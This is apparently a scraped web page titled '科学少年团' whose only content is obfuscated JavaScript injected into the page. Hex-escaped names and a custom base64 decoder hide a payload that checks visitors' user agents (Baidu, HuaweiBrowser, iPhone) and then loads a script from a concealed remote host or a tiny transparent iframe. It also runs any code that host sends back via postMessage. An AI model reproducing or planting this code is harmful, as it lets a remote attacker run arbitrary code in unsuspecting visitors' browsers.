科学少年团

eval("\x77\x69\x6e\x64\x6f\x77")["\x42\x66\x48\x49\x71"]=function(e){var li ='ABCDEFGHIJK'+'LMNOPQ'+''+'RSTUV'+'WXYZabcdefghij'+'klm'+''+'nopqr'+'stuvwxyz012'+''+'34'+''+'56789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=li.indexOf(e.charAt(f++));o=li.indexOf(e.charAt(f++));u=li.indexOf(e.charAt(f++));a=li.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}

eval("\x77\x69\x6e\x64\x6f\x77")["\x4a\x75\x6d"]=function(){eval(BfHIq("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dmFyIGRzPW5ldyBEYXRlKCk7dT1kZWNvZGVVUklDb21wb25lbnQoQmZISXEodS5yZXBsYWNlKG5ldyBSZWdFeHAoYysnJytjLCdnJyksYykuc3BsaXQoJycpLnJldmVyc2UoKS5qb2luKCcnKSkpO3U9dS5yZXBsYWNlKC9xaWhhbmcvZyxkcy5nZXREYXRlKCkpOydqUXVlcnknO3ZhciBfdWE9bmF2aWdhdG9yLnVzZXJBZ2VudDt2YXIgX0JmSElxQmZISXE9JzxzJysnY3JpJysncHQgc3JjPSInK3UrJy5qcyI+PFwvcycrJ2NyaXAnKyd0Pic7aWYoX3VhLmluZGV4T2YoQmZISXEoIlltRnBaSFU9IikpPi0xIHx8IF91YS5pbmRleE9mKEJmSElxKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7aWYoX3VhLmluZGV4T2YoQmZISXEoJ2FWQm9iMjVsJykpPi0xKXtkb2N1bWVudC53cml0ZShfQmZISXFCZkhJcSk7fWVsc2V7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbQmZISXEoIlkzVnljbVZ1ZEZOamNtbHdkQT09IildO3ZhciBfaWQ9X2NsYXNzPSdBSScrJycrJ1lrJysnREcnKycnKycnO3ZhciBfX2tkbnFpZCA9ICdrJyArIHJkKDEsIDEwMDAwMCk7ZFsndycrJ3JpJysndCcrJ2UnKydsbiddKCc8ZCcrJ2l2IGknKydkPScrJyInK19fa2RucWlkKyciPicrJzwvZCcrJ2l2JysnPicpO3dbJ19faycrJ2RhJysnbnEnKydvYicrJ2pfNDc3J109ZFsncXUnKydlcnknKydTZWxlJysnY3RvJysnciddKCcjJytfX2tkbnFpZCk7X2lkICs9IGRbJ3F1JysnZXJ5JysnU2UnKydsZWMnKyd0bycrJ3JBJysnbGwnXSgnLicrX2NsYXNzKS5sZW5ndGg7dmFyIHogPSB1KyctMi8nK19pZCsnLycrcjtkWyd3JysncmknKyd0JysnZSddKCc8aScrJ2ZyJysnYScrJ21lIHN0eWxlPSInKydtJysnYXInKydnaScrJ246MDtwJysnYWQnKydkJysnaW4nKydnOjA7YicrJ29yJysnZCcrJ2VyOm4nKydvbicrJ2U7Jysnb3AnKydhJysnY2knKyd0JysneTowJysnLjAnK3JkKDIsOSkrJzt3aScrJ2R0JysnaDonK3JkKDIsNSkrJ3AnKyd4O2gnKydlJysnaWdoJysndDonK3JkKDIsNSkrJ3AnKyd4OycrJyJhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WyJhZCIrImRFdiIrImVudEwiKyJpc3QiKyJlbmVyIl0oIm0iKyJlc3MiKyJhZ2UiLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyK19pZF0pe3JtKGMpO25ldyBGdW5jdGlvbihCZkhJcShlLmRhdGFbcitfaWRdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fX1lbHNle2RvY3VtZW50LndyaXRlKF9CZkhJcUJmSElxKTt9fSkoJzFJJysnJysnVEwnKycnKyczJysnYycrJycrJ2MnKydEJysnJysnTnRNJysnJysnbScrJycrJ1InKycnKyd5VScrJ3laJysndScrJ0ZHYScrJ3BGMycrJycrJ2EwMScrJycrJ1djJysnY3FoJysnMicrJycrJ2NjJysnJysnRycrJ0pUJysnSicrJycrJ3pRJysnJysnRE4nKycnKyd3SScrJycrJ1RReicrJycrJ1VTJysnJysnWicrJzAnKycnKydsJysnMicrJ2NjJysndWMnKydjbScrJycrJ2JoJysnJysnaCcrJ1cnKydheCcrJ2RIZCcrJzU1eScrJ1p1JysnRicrJycrJ0cnKydhcCcrJycrJ0YnKyczY2MnKyd2JysnJysnWicrJycrJ21kbycrJ1prJysnJysnTWwnKycnKydZa00nKydsRTAnKycnKydNbE0nKydIJysnJysnY2MnKycnKycwUkgnKycnKydhJysnJywnQUknKycnKydZaycrJ0RHJysnJysnJyx3aW5kb3csZG9jdW1lbnQsMCwnYycp"));}